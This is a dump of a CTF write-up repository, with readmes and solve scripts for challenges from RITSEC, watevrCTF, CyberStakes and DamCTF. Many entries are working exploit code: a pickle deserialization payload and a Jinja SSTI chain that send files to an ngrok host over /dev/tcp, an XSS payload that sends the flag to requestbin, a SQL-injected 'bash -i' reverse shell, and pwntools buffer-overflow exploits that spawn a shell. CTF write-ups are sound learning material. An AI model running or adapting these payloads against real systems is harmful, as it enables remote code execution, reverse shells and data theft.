frustrations due to the shared environment. The gist of this challenge was: 4 | 5 | * SSH into a shared server where there is a lot of incoming / outgoing traffic 6 | * Observe a re-occuring port knock sequence that opens access to 443 7 | * Replay the port knock and request the HTTPS server, which returns the flag 8 | 9 | The hard part of this challenge was sending the observed port knock fast enough, since people were constantly port scanning the server and interrupting any sent port knocks. Eventually, I was able to successfully use the following: 10 | ```sh 11 | for port in 2710 5293 6608; do (nc -nz -w 1 192.168.0.14 $port &); done; curl -k https://192.168.0.14:443 12 | ``` 13 | -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/lion/bh.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2019/RITSEC-CTF/lion/bh.exe -------------------------------------------------------------------------------- /writeups/2019/RITSEC-CTF/lion/readme.md: -------------------------------------------------------------------------------- 1 | # Lion 2 | 3 | This was an interesting challenge. 4 | 5 | The flow of the challenge goes: 6 | 7 | * Start out with a PCAP, which you can extract some RAR files from 8 | * Use the RAR files to extract a BH PE file 9 | * Observe that this PE tries to read from a local file `keylog.txt` and send data to harcoded IP/port `192.168.206.161:33333` 10 | * Go back to the PCAP to find some encrypted data being sent to the hardcoded IP 11 | * Use the `bh.exe` program as an oracle for determing the plaintext that produced the ciphertext seen in the PCAP 12 | 13 | You can find the post-`bh.exe`-extraction steps to this challenge in the [`solve.py`](./solve.py) script. The [`bh.exe`](./bh.exe) PE file is also included in this repository. 14 | -------------------------------------------------------------------------------- /writeups/2019/X-MAS/mercenary-hat-factory/readme.md: -------------------------------------------------------------------------------- 1 | # Mercenary Hat Factory 2 | 3 | This was a Python web application challenge that involved some basic JWT and less-basic Jinja template injection. 4 | 5 | The basic solution flow is: 6 | 7 | * Use `alg = none` JWT trick to bypass signature check 8 | * See that nested list structure for storing user information is flawed and can be overwritten at will 9 | * Bypass SSTI blacklists to reach code execution 10 | 11 | The hardest part about the Jinja SSTI payload was avoiding underscores and spaces. I found that the expression `g.get|string|slice(4)|first|last` would evaluate to `'_'` (abusing coercion of `g`'s class name to a string). We can do something similar to get a space character primitive. We can use these in conjunction with Jinja's string concatenation operator `~` to build otherwise-restricted strings. Pairing these with our good friends `|attr`, `__builtins__`, and `os.system`, we can achieve some command execution. This can all be seen in my [solve script](./solve.py). 12 | 13 | Looking at other writeups, I see that you can just use hex-escaped strings to bypass the `_` blacklist. Oh well. 14 | -------------------------------------------------------------------------------- /writeups/2019/watevrCTF/pickle-store/readme.md: -------------------------------------------------------------------------------- 1 | # Pickle Store 2 | 3 | This was a typical CTF problem involving Python pickle deserialization. The solution flow is: 4 | 5 | * Decode cookies that the store website set on us 6 | * Observe that it appears to be a pickle Python object 7 | * Create a code execution object, pickle it, and submit it to the website to be deserialized 8 | 9 | I created [this solve script](./solve.py) to build a cookie payload, and then used curl to submit it to the website: 10 | ```sh 11 | curl -X POST --data 'id=2' --cookie 'session=gANjcG9zaXgKc3lzdGVtCnEAWD0AAABiYXNoIC1jICJjYXQgZmwqIC9ob21lLyovZmwqID4gL2Rldi90Y3AvMC50Y3Aubmdyb2suaW8vMTkwNjAicQGFcQJScQMu' http://13.48.133.116:50000/buy 12 | ``` 13 | 14 | The payload I used requires setting up a listener via [ngrok](https://ngrok.com/). 15 | -------------------------------------------------------------------------------- /writeups/2019/watevrCTF/pickle-store/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import base64 4 | import pickle 5 | 6 | enc_sess = ( 7 | 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX' 8 | '2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu' 9 | ) 10 | 11 | serialized_sess = base64.b64decode(enc_sess) 12 | print('SERIALIZED SESSION:', serialized_sess) 13 | 14 | sess = pickle.loads(serialized_sess) 15 | print('DESERIALIZED SESSION:', sess) 16 | 17 | COMMAND = 'bash -c "cat fl* /home/*/fl* > /dev/tcp/0.tcp.ngrok.io/19060"' 18 | 19 | 20 | class PickleExec: 21 | def __reduce__(self): 22 | import os 23 | return (os.system, (COMMAND,)) 24 | 25 | 26 | payload = base64.b64encode(pickle.dumps(PickleExec())) 27 | print('PAYLOAD:', payload) 28 | -------------------------------------------------------------------------------- /writeups/2019/watevrCTF/super-calc/readme.md: -------------------------------------------------------------------------------- 1 | # Super Calc 2 | 3 | This was a pretty awesome challenge which required some Python/Flask/Jinja knowledge. The solution flow is: 4 | 5 | * Observe that there does not appear to be a way to achieve code execution through expression evaluation due to the restrictive ast whitelist/blacklist 6 | * Observe that we can put anything in comments, which won't get parsed by the ast 7 | * Verify that Jinja template injection works in comments when we trigger a legitimate error (something like `1/0 --> ZeroDivisionError` or `1@1 --> TypeError`), as the error message rendering does not sanitize the expression contents 8 | * Eventually build a Jinja template code execution payload, working around the semi-restrictive character blacklist 9 | 10 | It turns out the intended solution was just to leak the secret token via a `{{ config.items() }}` injection, and then use this to a sign a cookie with a malicious expression. This would work since expressions are only sanitized / verified on submission, not after they are included in a cookie. 11 | 12 | My solve script is available [here](./solve.py). 13 | -------------------------------------------------------------------------------- /writeups/2019/watevrCTF/super-calc/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | url = 'http://13.48.13.60:50000/' 6 | 7 | payload = """\ 8 | # {{result|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(-1)\ 9 | |attr(request.args.d)()|attr(request.args.c)(199)(request.args.getlist(request.args.l))}} 10 | 1/0 11 | """ 12 | 13 | url += '?a=__class__' 14 | url += '&b=__mro__' 15 | url += '&c=__getitem__' 16 | url += '&d=__subclasses__' 17 | url += '&l=e' 18 | url += '&e=bash' 19 | url += '&e=-c' 20 | url += '&e=cat fl* /home/*/fl* > /dev/tcp/0.tcp.ngrok.io/10145' 21 | 22 | s = requests.Session() 23 | r = s.post(url, data=dict(code=payload)) 24 | print(r.text) 25 | -------------------------------------------------------------------------------- /writeups/2019/watevrCTF/super-sandbox/readme.md: -------------------------------------------------------------------------------- 1 | # Super Sandbox 2 | 3 | This was an interesting JavaScript sandbox escape problem. You are given the following sandbox code: 4 | ```javascript 5 | let code = location.search.slice(6); 6 | 7 | let env = { 8 | a: (x, y) => x[y], 9 | b: (x, y) => x + y, 10 | c: (x) => !x, 11 | d: [] 12 | }; 13 | 14 | for (let i=0; i /proc/sys/kernel/core_pattern 18 | ``` 19 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/do-you-c-what-i-see/do_you_c_what_I_c.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/do-you-c-what-i-see/do_you_c_what_I_c.exe -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/i-have-caught-you-now/readme.md: -------------------------------------------------------------------------------- 1 | # I Have Caught You Now 2 | 3 | This was a fairly straightforward web XSS challenge. The goal was to submit a link to an admin, which would then read a private article and exfil the flag (which was somewhere in the private article). 4 | 5 | The main observation you needed to make is that the WAF present will reflect back part of your search query in its error page, and not properly escape the reflected text. This is the main vector for XSS. Spaces didn't appear to be allowed in a final payload, but [this StackExchange answer](https://security.stackexchange.com/a/47846) provides a nice ``-based payload with no spaces required. All that remained at this point was encoding our flag-exiltrating JavaScript in base64 and putting it in an `eval(atob())` wrapper. 6 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/i-have-caught-you-now/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from __future__ import print_function 4 | 5 | import base64 6 | import sys 7 | 8 | payload = """ 9 | fetch('http://challenge.acictf.com:51204/article/1').then(function(resp) { 10 | return resp.text(); 11 | }).then(function(text) { 12 | flag = text.match(/ACI{.*}/g); 13 | window.location = 'http://requestbin.net/r/u36iixu3?f=' + flag; 14 | }); 15 | """ 16 | 17 | b64_payload = base64.b64encode(payload).replace('=', '%3D') 18 | eval_payload = 'eval(atob(`' + b64_payload + '`))' 19 | print( 20 | 'http://challenge.acictf.com:51204/search?search=1&%3Csvg%0conload%3D"', 21 | eval_payload, 22 | '"%3Etest=%3Cscript%3E', 23 | sep='' 24 | ) -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/interesting-structure/structure: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/interesting-structure/structure -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/into-the-metaverse/metaverse: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/into-the-metaverse/metaverse -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/into-the-metaverse/readme.md: -------------------------------------------------------------------------------- 1 | # Into the Metaverse 2 | 3 | This was a high point challenge that implemented a custom VM for executing a check on the user's input (which would be the flag when the check passed). Not wanting to reverse the whole VM, I first tried to see if [`angr`](https://angr.io/)(a symbolic execution and binary analysis framework) could solve for the flag. 4 | 5 | It turns out that it can! I was able to use my pretty standard `angr` crackme template, which sets up the flag's symbolic variables (with some basic constraints to follow the flag format) on stdin. `angr` is even able to get through each iteration of the solution so quickly that I could bruteforce the flag length, too. 6 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/kids-on-the-block/wallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract Wallet { 4 | 5 | mapping(address => uint) accounts; 6 | 7 | /* this runs when the contract is executed */ 8 | function deposit() public payable { 9 | accounts[msg.sender] += msg.value; 10 | } 11 | 12 | function withdraw(address to, uint amount) public { 13 | require(accounts[msg.sender] >= amount); 14 | accounts[msg.sender] -= amount; 15 | to.transfer(amount); 16 | } 17 | 18 | /* used to read the value of count */ 19 | function getBalance() constant returns (uint) { 20 | return accounts[msg.sender]; 21 | } 22 | 23 | } -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/library-card/liblibrary_card.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/library-card/liblibrary_card.so -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/library-card/readme.md: -------------------------------------------------------------------------------- 1 | # Library Card 2 | 3 | This was a basic reverse engineering problem that involved calling a single function from a shared library. 4 | 5 | I was able to solve this problem with `angr`'s binary emulation. We can user `angr`'s [`call_state`](https://github.com/angr/angr-doc/blob/1ad7173c6503175b736f4296e6e2ff1d3d0aceb7/docs/states.md#state-presets) to begin execution at the desired library function. `angr`'s `call_state` also allows us to specify the correct arguments for the function (which could be identified from static analysis). Then, we can just grab the flag from the emulated state's `stdout`. 6 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/library-card/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import angr 4 | import claripy 5 | 6 | BINARY = 'liblibrary_card.so' 7 | 8 | 9 | def unpie(addr): 10 | return 0x400000 + addr 11 | 12 | 13 | def main(): 14 | project = angr.Project(BINARY, load_options={'auto_load_libs':False}) 15 | 16 | st = project.factory.call_state(unpie(0x22fa), 0x824, 0x82c, 0x82b) 17 | 18 | find_addr = unpie(0x25ae) 19 | sm = project.factory.simgr(st) 20 | 21 | print('Solving...') 22 | sm.explore(find=find_addr) 23 | 24 | if len(sm.found) > 0: 25 | for sol_state in sm.found: 26 | print(sol_state.posix.dumps(1)) 27 | else: 28 | print('FAILED') 29 | 30 | 31 | if __name__ == '__main__': 32 | main() 33 | 34 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/move-zig/readme.md: -------------------------------------------------------------------------------- 1 | # Move ZIG 2 | 3 | This was a challenge that involved converting data from the server back and forth between a bunch of different formats. There isn't much to say in addition to the code in the [solve script](./solve.py). 4 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/my-cup-overfloweth/cup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/my-cup-overfloweth/cup -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/my-cup-overfloweth/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | """ 4 | Run exploit locally with: 5 | ./solve.py 6 | 7 | ./solve.py REMOTE HOST=challenge.acictf.com PORT=28950 8 | """ 9 | 10 | from pwn import * 11 | 12 | PROG_PATH = './cup' 13 | RIP_OFFSET = 94 + 8 14 | JMP_RSP = 0x0000000000400827 15 | 16 | 17 | def init_pwntools_context(): 18 | context.binary = PROG_PATH 19 | context.terminal = ['tmux', 'vsplit', '-h'] 20 | 21 | if not args['REMOTE']: 22 | context.log_level = 'debug' 23 | 24 | 25 | def init_io(): 26 | if args['REMOTE']: 27 | return remote(args['HOST'], int(args['PORT'])) 28 | else: 29 | pty = process.PTY 30 | return process(PROG_PATH, stdin=pty, stdout=pty, stderr=pty) 31 | 32 | 33 | def win(io): 34 | payload = '9\x00' 35 | payload += 'A' * (RIP_OFFSET) 36 | payload += p64(JMP_RSP) 37 | payload += asm(shellcraft.sh()) 38 | 39 | io.sendlineafter('\n\n', payload) 40 | io.interactive() 41 | 42 | 43 | if __name__ == '__main__': 44 | init_pwntools_context() 45 | io = init_io() 46 | 47 | if args['PAUSE']: 48 | raw_input('PAUSED...') 49 | 50 | win(io) 51 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/national-dex-65/encrypt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/national-dex-65/encrypt -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/national-dex-65/encrypted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/national-dex-65/encrypted -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/national-dex-65/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii 4 | 5 | from Crypto.Cipher import Blowfish 6 | 7 | with open('encrypted', 'rb') as f: 8 | ct = f.read() 9 | 10 | key = binascii.unhexlify(b'09651a1fe89e49fe9ed03f37dae7c2ff') 11 | iv = binascii.unhexlify(b'd970175280c3df30') 12 | 13 | cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv) 14 | msg = cipher.decrypt(ct) 15 | print(msg) -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/partition-twice-recover-once/readme.md: -------------------------------------------------------------------------------- 1 | # Partition Twice Recover Once 2 | 3 | This challenge involved recovering a LUKS partition from a deleted disk image, and then decrypting the LUKS parition with a provided password. 4 | 5 | I don't know much about working with disk partitions, so fortunately I found [this StackExchange answer](https://unix.stackexchange.com/questions/364229/recover-deleted-luks-partition) that is essentially a step-by-step guide on how to solve this problem. The steps are: 6 | 7 | ```sh 8 | # Find offset to LUKS partition and extract it. 9 | hexdump -C image.bin |grep LUKS 10 | dd if=image.bin of=image.luks bs=1 skip=1048576 11 | 12 | # Mount the LUKS partition and get the flag. This will prompt for the 13 | # decryption password. 14 | sudo kpartx -a image.luks 15 | sudo cryptsetup open /dev/loop0 backup 16 | sudo mount /dev/mapper/backup /mnt/img 17 | cat /mnt/img/flag 18 | 19 | # Cleanup. 20 | sudo umount /mnt/img 21 | sudo kpartx -d image.luks 22 | ``` 23 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/party-roppin/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/party-roppin/challenge -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/pigeon-holes/run-wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | source ~/.envs/utils-py3/bin/activate 4 | ./firmware_server.py -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/say-what/readme.md: -------------------------------------------------------------------------------- 1 | # Say What 2 | 3 | This challenge involved reversing a Microsoft Word macro. 4 | 5 | The file extension `.docm` is a big tipoff that this will involve a Word macro of some kind, so my first step was to extract it via the [`olevba`](https://github.com/decalage2/oletools/wiki/olevba) tool from the `oletools` suite. Inspection of the macro source reveals that this is some kind of crackme. 6 | 7 | Some light reversing resulted in the semi-unobfuscated script found in the [script.vbs](./script.vbs) file. This gave me enough of an understanding of the password transformation to implement a solution, which is simply a bruteforce that works on a Python implementation of the macro's password-transformation code. The key part of my solution requires the observation that the password transformation works on characters two-by-two, so we can bruteforce the flag in chunks of two characters by permutating over all 65536 combinations for each two-byte sequence. 8 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/say-what/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | import itertools 5 | 6 | secret = base64.b64decode('PjzvDg1ox1iPtP5QQnD7BFIs5U54SPpLT3HYEcu3+2I=') 7 | secret = [i for i in reversed(secret)] 8 | 9 | # unxor 10 | for i in range(len(secret)): 11 | secret[i] = secret[i] ^ ((32 + i + 1) % 256) 12 | 13 | 14 | def encrypt(pt): 15 | ct = [x for x in pt] 16 | for i in range(len(ct)): 17 | switch = i % 4 18 | if switch == 0: 19 | ct[i] = (ct[i] - 104 + 256) % 256 20 | elif switch == 1: 21 | ct[i], ct[i-1] = ct[i-1], ct[i] 22 | elif switch == 2: 23 | ct[i] = ((ct[i] * 16) % 256) + (ct[i] // 16) 24 | elif switch == 3: 25 | ct[i] = ct[i] ^ ct[i-1] 26 | 27 | return ct 28 | 29 | 30 | ans = [] 31 | while len(ans) < len(secret): 32 | for i, j in itertools.product(range(256), range(256)): 33 | ct = encrypt(ans + [i, j]) 34 | if ct == secret[:len(ct)]: 35 | ans.append(i) 36 | ans.append(j) 37 | print(''.join(chr(c) for c in ans)) 38 | break 39 | else: 40 | print('FAILED') -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/sharing-is-caring/readme.md: -------------------------------------------------------------------------------- 1 | # Sharing is Caring 2 | 3 | This ended up being a fairly straightforward problem that was solved by decrypting a message that had been encrypted via [Shamir's Secret Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing). 4 | 5 | I was able to extract all of the secrets from the 5 images using the awesome steganography tool [zsteg](https://github.com/zed-0xff/zsteg). From there, the Python library [`secretsharing`](https://github.com/blockstack/secret-sharing) could be used to decrypt the message (which was the flag). The only slight mis-step I had was forgetting to convert the secrets from decimal to hex, which was needed for consumption by the Python library I used. 6 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/sharing-is-caring/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from __future__ import print_function 4 | 5 | import binascii 6 | 7 | from secretsharing import SecretSharer 8 | 9 | SECRETS = [ 10 | '1-9608474170977308238036624146101441469538628637045706610338073590812843162969037926492967854559828114435865261425719619743472419864336210874222029453059741', 11 | '3-224183841656780872927678242626279871433733831057475254917387185998520511272846647279913467443558309288829498488402883425874249712684215384203475752039681175', 12 | '4-524164732834933988556388319839274528391312080836319720002737667326861328789556912063222725295339950383555529443266354316704089242529615243887408038702736241', 13 | '5-1015950427545472565825761297620151258974491880324557727968398393745824130327315926142371765654543965113857776728721730398986530543452098367721676829359089545', 14 | ] 15 | 16 | hex_secrets = [] 17 | for secret in SECRETS: 18 | idx, num = secret.split('-') 19 | hex_num = hex(int(num))[2:].rstrip('L') 20 | hex_secrets.append(idx + '-' + hex_num) 21 | 22 | print(hex_secrets) 23 | s = SecretSharer.recover_secret(hex_secrets) 24 | print(s) 25 | print(binascii.unhexlify(s)) 26 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/speak-plainly/readme.md: -------------------------------------------------------------------------------- 1 | # Speak Plainly 2 | 3 | This problem involves attacking an ECB padding oracle in the server's user-registration functionality. I recommend [this StackExchange Q/A](https://crypto.stackexchange.com/questions/42891/chosen-plaintext-attack-on-aes-in-ecb-mode) for a nice explanation on how these types of attacks work. 4 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/speed-racer/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/speed-racer/libc.so -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/speed-racer/speedracer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/speed-racer/speedracer -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/stack-chk-fail/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | """ 4 | ./solve.py REMOTE HOST=docker.acictf.com PORT=33020 5 | """ 6 | 7 | from pwn import * 8 | 9 | PROG_PATH = './scff' 10 | 11 | LIBC_ARGV_OFFSET = 424 12 | FLAG_ADDR = 0x602260 13 | 14 | 15 | def init_pwntools_context(): 16 | context.binary = PROG_PATH 17 | context.terminal = ['tmux', 'vsplit', '-h'] 18 | 19 | if not args['REMOTE']: 20 | context.log_level = 'debug' 21 | 22 | 23 | def init_io(): 24 | if args['REMOTE']: 25 | return remote(args['HOST'], int(args['PORT'])) 26 | else: 27 | pty = process.PTY 28 | return process(PROG_PATH, stdin=pty, stdout=pty, stderr=pty) 29 | 30 | 31 | def win(io): 32 | payload = '' 33 | payload += 'A' * LIBC_ARGV_OFFSET 34 | payload += p64(FLAG_ADDR) 35 | 36 | io.sendlineafter('\n\n', '1') 37 | io.sendlineafter('Account?\n', 'a') 38 | io.sendlineafter('Username?\n', 'a') 39 | io.sendlineafter('Password?\n', payload) 40 | 41 | io.interactive() 42 | 43 | 44 | if __name__ == '__main__': 45 | init_pwntools_context() 46 | io = init_io() 47 | win(io) 48 | 49 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/uno-reverse-card/uno: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/uno-reverse-card/uno -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/were-related/readme.md: -------------------------------------------------------------------------------- 1 | # We're Related 2 | 3 | This is a cryptography problem that involves attacking textbook RSA. 4 | 5 | ## Understanding the Server 6 | 7 | The [challenge server](./messenger.py) is a messenger application that allows for sending encrypted messages between different users. The messages are encrypted with textbook RSA, which means that they're just using the raw [RSA formulas](https://www.di-mgt.com.au/rsa_alg.html) without adding padding or anything special. We can decrypt any ciphertext we want, as long as hasn't been "seen" by the server before. For the purposes of this challenge, this means that we cannot simply decrypt the flag's ciphertext. 8 | 9 | ## Exploitation 10 | 11 | Knowing how the server functions, it looks like we are going to have to perform a chosen ciphertext attack. However, we can only choose a ciphertext that is not exactly the flag ciphertext. Fortunately, [this StackExchange answer](https://crypto.stackexchange.com/a/2331) explains precisely the kind of attack that we need to perform. My [solve script](./solve.py) is a simple implementation of it. 12 | -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-does-this-belong-to/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | gcc -c -fPIC read-flag.c -o read-flag.o 4 | gcc -o libb.so -shared read-flag.o 5 | 6 | gcc -o drop-privs -static drop-privs.c -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-does-this-belong-to/challenge-files.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/CyberStakes/who-does-this-belong-to/challenge-files.tar.gz -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-does-this-belong-to/fake.cfg: -------------------------------------------------------------------------------- 1 | PORT 5555 2 | DROP_PRIVS 0 3 | ALLOW_ANONYMOUS 1 4 | WEB_DIRECTORY /challenge/ 5 | FLAG THE-FLAG-IS-IN-/root/flag -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-does-this-belong-to/fake.metadata: -------------------------------------------------------------------------------- 1 | LIST:1 2 | FILENAME:/etc/diusweb.cfg 3 | CREATE:1 4 | FILENAME0:fake.cfg 5 | COMPRESS0:n 6 | FILESIZE0:98 -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-does-this-belong-to/read-flag.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define SIZE 0x100 8 | 9 | void __attribute__ ((constructor)) read_flag() { 10 | char buf[SIZE]; 11 | 12 | int fd1 = open("/root/flag", O_RDONLY); 13 | if (fd1 == -1) { 14 | printf("Failed to open /root/flag\n"); 15 | } 16 | 17 | int fd2 = open("/tmp/flag", O_WRONLY | O_CREAT, 0666); 18 | if (fd2 == -1) { 19 | printf("Failed to open /tmp/flag\n"); 20 | } 21 | 22 | int n = read(fd1, &buf, SIZE); 23 | write(fd2, &buf, n); 24 | } -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-is-that-in-that-mirror/inject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | import requests 5 | 6 | URL = 'http://docker.acictf.com:34635' 7 | 8 | USER_AGENT = """\ 9 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) \ 10 | AppleWebKit/537.36 (KHTML, like Gecko) \ 11 | Chrome/35.0.1916.47 \ 12 | Safari/537.36""" 13 | 14 | 15 | def get_session(): 16 | s = requests.Session() 17 | s.headers.update({ 18 | 'User-Agent': USER_AGENT, 19 | }) 20 | return s 21 | 22 | 23 | def test_query(query): 24 | sess = get_session() 25 | 26 | data = { 27 | 'username': '\\', 28 | 'password': 'or ' + query + '#', 29 | 'login_button': '', 30 | } 31 | r = sess.post(f'{URL}/login', data=data) 32 | 33 | return 'Invalid username or password' not in r.text 34 | 35 | 36 | def cookie_injection(query): 37 | sess = get_session() 38 | 39 | injection = base64.b64encode(query.encode()).decode() 40 | sess.cookies.set('uu', injection) 41 | 42 | sess.get(f'{URL}/products') 43 | assert r.status_code == 200 44 | 45 | 46 | def main(): 47 | with open('query.txt', 'r') as f: 48 | query = f.read().strip() 49 | cookie_injection(query) 50 | 51 | 52 | if __name__ == '__main__': 53 | main() -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-is-that-in-that-mirror/query.txt: -------------------------------------------------------------------------------- 1 | ';insert into products(name,image,text,price) values ('; bash -c "bash -i >& /dev/tcp/10.0.254.20/4321 0>&1";','; bash -c "bash -i >& /dev/tcp/10.0.254.20/4321 0>&1";','; bash -c "bash -i >& /dev/tcp/10.0.254.20/4321 0>&1";',13.37)# -------------------------------------------------------------------------------- /writeups/2020/CyberStakes/who-is-that-in-that-mirror/readme.md: -------------------------------------------------------------------------------- 1 | # Who is That in That Mirror 2 | 3 | This was a web challenge that took me a while, but ended up having a rather simple solution. 4 | 5 | Almost every input on the target web application does not sanitize the data that gets passed to SQL queries. However, all inputs seem to filter out `'";`, preventing you from attempting a stacked query. Eventually, I was able to determine that the base64-encoded `uu` cookie used for authentication is injectable, and does not filter any of these special characters out. We are then able to perform a stacked query with this injection to insert a new record into the `products` table. After some experiementation, you can determine that there is command injection in the `image` column of the `products` table, which can be used to pop a reverse shell. 6 | -------------------------------------------------------------------------------- /writeups/2020/DamCTF/addrop/addrop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/DamCTF/addrop/addrop -------------------------------------------------------------------------------- /writeups/2020/DamCTF/allokay/allokay: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/DamCTF/allokay/allokay -------------------------------------------------------------------------------- /writeups/2020/DamCTF/ghostbusters/ghostbusters: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/DamCTF/ghostbusters/ghostbusters -------------------------------------------------------------------------------- /writeups/2020/DamCTF/ghostbusters/readme.md: -------------------------------------------------------------------------------- 1 | # Ghostbusters 2 | 3 | Cool challenge that involved influencing the userspace stack by calling `vsyscall` syscalls (which reside at static addresses in every process). 4 | 5 | Helpful resources: 6 | 7 | * [Writeup from GoogleCTF](http://gmiru.com/writeups/gctf-wiki/) that uses `vsyscall` addresses as a sled into more useful functions 8 | * [LWN article on the security implications of `vsyscall`/vDSO](https://lwn.net/Articles/446528/) 9 | -------------------------------------------------------------------------------- /writeups/2020/DamCTF/hashflow/flag: -------------------------------------------------------------------------------- 1 | test{xxxxxxxxxx} 2 | -------------------------------------------------------------------------------- /writeups/2020/DamCTF/hashflow/hashflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/DamCTF/hashflow/hashflow -------------------------------------------------------------------------------- /writeups/2020/DamCTF/hashflow/readme.md: -------------------------------------------------------------------------------- 1 | # Hashflow 2 | 3 | Fun challenge that involved: 4 | 5 | * Forging signatures by breaking naive hashing algorithm with z3. 6 | * Leaking the stack cookie and a binary address via a stack-based overflow that was guarded by the signature check we can break. 7 | * Using the stack-based overflow (and leaked data) to do a short ROP to leak a libc address. 8 | * Using the stack-based overflow one more time (with gadgets from the leaked libc) to do a `read`/`write` ROP to print the flag. 9 | 10 | Helpful resources: 11 | 12 